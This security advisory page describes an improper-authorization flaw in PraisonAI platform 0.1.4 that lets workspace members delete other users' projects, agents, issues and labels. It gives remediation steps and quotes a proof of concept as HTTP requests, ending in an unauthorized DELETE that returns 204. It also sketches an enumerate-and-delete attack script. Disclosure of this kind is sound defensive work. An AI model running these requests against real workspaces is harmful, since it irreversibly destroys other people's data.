GHSA-rh39-9c67-59mh: PraisonAI: member role can delete all workspace resources
GHSA-rh39-9c67-59mh HIGHPraisonAI platform 0.1.4 contains a broken access control flaw across six DELETE API endpoints — any workspace member can permanently destroy projects, agents, issues, labels, and dependencies created by the owner or other members, despite the documented role model explicitly prohibiting this. The attack requires only a valid member account and standard HTTP requests, making it trivial for a malicious insider or a compromised member account to irreversibly wipe an entire AI agent workspace in seconds. While this advisory is not in CISA KEV and no public exploit toolkit has been published, exploitation complexity is near-zero and the impact is permanent data destruction with no built-in platform recovery. Organizations running praisonai-platform should upgrade to 0.1.6 immediately and audit workspace membership to remove any untrusted member-role accounts.
What is the risk?
High risk (CVSS 8.1). The only barrier to exploitation is holding a valid workspace member account — a condition met by any insider or by an attacker who compromises a single member credential. Once inside, the six DELETE endpoints require no additional privileges and return 204 with no ownership validation. The impact is permanent and broad: all AI agent definitions, project structures, and operational workflows can be wiped in minutes with a simple enumeration-and-delete script. The single downstream dependent limits ecosystem-level blast radius, but each affected deployment faces total workspace loss without external backups.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| PraisonAI | pip | — | No patch |
| PraisonAI | pip | = 0.1.4 | 0.1.6 |
| PraisonAI Agents | pip | — | No patch |
How severe is it?
What is the attack surface?
What should I do?
5 steps-
Upgrade praisonai-platform to version 0.1.6 immediately — this release adds ownership and role verification to all six DELETE endpoints.
-
Until patched, restrict workspace membership to fully trusted accounts only and remove any non-essential member-role accounts.
-
Enable API access logging and alert on DELETE requests against workspace resources issued by member-role tokens.
-
Implement external backups of workspace content (agent configs, projects, issues) outside the platform to enable recovery in the event of prior exploitation.
-
Audit historical DELETE activity in access logs to determine whether exploitation has already occurred.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is GHSA-rh39-9c67-59mh?
PraisonAI platform 0.1.4 contains a broken access control flaw across six DELETE API endpoints — any workspace member can permanently destroy projects, agents, issues, labels, and dependencies created by the owner or other members, despite the documented role model explicitly prohibiting this. The attack requires only a valid member account and standard HTTP requests, making it trivial for a malicious insider or a compromised member account to irreversibly wipe an entire AI agent workspace in seconds. While this advisory is not in CISA KEV and no public exploit toolkit has been published, exploitation complexity is near-zero and the impact is permanent data destruction with no built-in platform recovery. Organizations running praisonai-platform should upgrade to 0.1.6 immediately and audit workspace membership to remove any untrusted member-role accounts.
Is GHSA-rh39-9c67-59mh actively exploited?
No confirmed active exploitation of GHSA-rh39-9c67-59mh has been reported, but organizations should still patch proactively.
How to fix GHSA-rh39-9c67-59mh?
1. Upgrade praisonai-platform to version 0.1.6 immediately — this release adds ownership and role verification to all six DELETE endpoints. 2. Until patched, restrict workspace membership to fully trusted accounts only and remove any non-essential member-role accounts. 3. Enable API access logging and alert on DELETE requests against workspace resources issued by member-role tokens. 4. Implement external backups of workspace content (agent configs, projects, issues) outside the platform to enable recovery in the event of prior exploitation. 5. Audit historical DELETE activity in access logs to determine whether exploitation has already occurred.
What systems are affected by GHSA-rh39-9c67-59mh?
This vulnerability affects the following AI/ML architecture patterns: AI agent platforms, agent frameworks, multi-agent collaboration environments.
What is the CVSS score for GHSA-rh39-9c67-59mh?
GHSA-rh39-9c67-59mh has a CVSS v3.1 base score of 8.1 (HIGH).
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0012 Valid Accounts AML.T0049 Exploit Public-Facing Application AML.T0081 Modify AI Agent Configuration Compliance Controls Affected
What are the technical details?
Original Advisory
### Summary A workspace member can permanently delete any resource — projects, agents, issues, labels, issue dependencies, and issue-label attachments — created by the workspace owner or other members. All six content DELETE endpoints enforce workspace membership but perform no ownership or role check. A single malicious or compromised member account can wipe an entire workspace's content irreversibly. ### Details The [published role capability matrix](https://docs.praison.ai/docs/features/platform/members) explicitly restricts members from modifying others' content: | Capability | Owner | Admin | Member | |---|---|---|---| | Create issues/tasks | ✅ | ✅ | ✅ | | Edit own content | ✅ | ✅ | ✅ | | Edit others' content | ✅ | ✅ | ❌ | The DELETE handlers for all content resources check that the requesting user is a workspace member, but do not verify that the user either created the resource or holds an `owner`/`admin` role. The result is that the `member` role has unrestricted DELETE access over all workspace content regardless of who created it. **Confirmed vulnerable endpoints:** | Endpoint | Expected | Actual | |---|---|---| | `DELETE /api/v1/workspaces/{workspace_id}/projects/{project_id}` | 403 | 204 | | `DELETE /api/v1/workspaces/{workspace_id}/agents/{agent_id}` | 403 | 204 | | `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}` | 403 | 204 | | `DELETE /api/v1/workspaces/{workspace_id}/labels/{label_id}` | 403 | 204 | | `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id}` | 403 | 204 | | `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id}` | 403 | 204 | The missing check is isolated to content resource DELETEs. ### PoC **Requirements:** Two accounts — owner (resource creator) and member (attacker). **1. Register both accounts** ```http POST /api/v1/auth/register Content-Type: application/json {"email": "owner@example.com", "password": "Password1!", "name": "owner"} ``` ```http POST /api/v1/auth/register Content-Type: application/json {"email": "member@example.com", "password": "Password1!", "name": "member"} ``` **2. Owner creates workspace, adds member with `member` role** ```http POST /api/v1/workspaces/ Authorization: Bearer <owner_token> Content-Type: application/json {"name": "Test Workspace"} ``` ```http POST /api/v1/workspaces/{workspace_id}/members Authorization: Bearer <owner_token> Content-Type: application/json {"user_id": "<member_user_id>", "role": "member"} ``` **3. Owner creates a project** ```http POST /api/v1/workspaces/{workspace_id}/projects/ Authorization: Bearer <owner_token> Content-Type: application/json {"title": "Owner's Project"} ``` Response `201 Created`: ```json {"id": "29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6", "title": "Owner's Project", ...} ``` **4. Member deletes the owner's project** ```http DELETE /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6 Authorization: Bearer <member_token> ``` Response: **`204 No Content`** **5. Owner confirms the project is permanently gone** ```http GET /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6 Authorization: Bearer <owner_token> ``` Response: **`404 Not Found`** ```json {"detail": "Project not found"} ``` The same steps reproduce on all six affected resource types (agents, issues, labels, issue dependencies, issue-label attachments). --- ### Impact This is an improper authorization vulnerability. A workspace member can delete resources (projects, agents, issues, labels) created by other workspace members or the owner. The documented permission model restricts members to managing only their own content — the DELETE endpoints do not enforce this. **Who is impacted:** Workspace owners and members who share a workspace with untrusted or compromised member accounts.
Exploitation Scenario
An attacker holding any workspace member account — obtained through phishing, credential stuffing, or acting as a malicious insider — first enumerates resource IDs by calling the workspace GET list endpoints, which member accounts can legitimately access. The attacker then iterates through all returned project, agent, issue, and label IDs, issuing DELETE requests using their member token against each of the six vulnerable endpoints. Each request returns 204 No Content and permanently removes the resource with no audit trail exposed to the workspace owner. A complete workspace wipe takes minutes with a trivial script. The owner discovers the loss only when querying resources that now return 404, with no platform-level recovery mechanism available.
Weaknesses (CWE)
CWE-285 — Improper Authorization: The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.
- [Architecture and Design] Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- [Architecture and Design] Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H References
Timeline
Related Vulnerabilities
CVE-2026-61447 10.0 PraisonAI: RCE via unsandboxed LLM code execution
Same package: praisonai CVE-2026-61445 9.9 PraisonAI: AICoder root RCE via unsanitized tool calls
Same package: praisonai CVE-2026-47392 9.9 praisonaiagents: RCE via Python sandbox bypass
Same package: praisonai GHSA-vmmj-pfw7-fjwp 9.9 praisonai: sandbox escape gives RCE via codeMode tool
Same package: praisonai GHSA-vc46-vw85-3wvm 9.8 PraisonAI: RCE via malicious workflow YAML execution
Same package: praisonai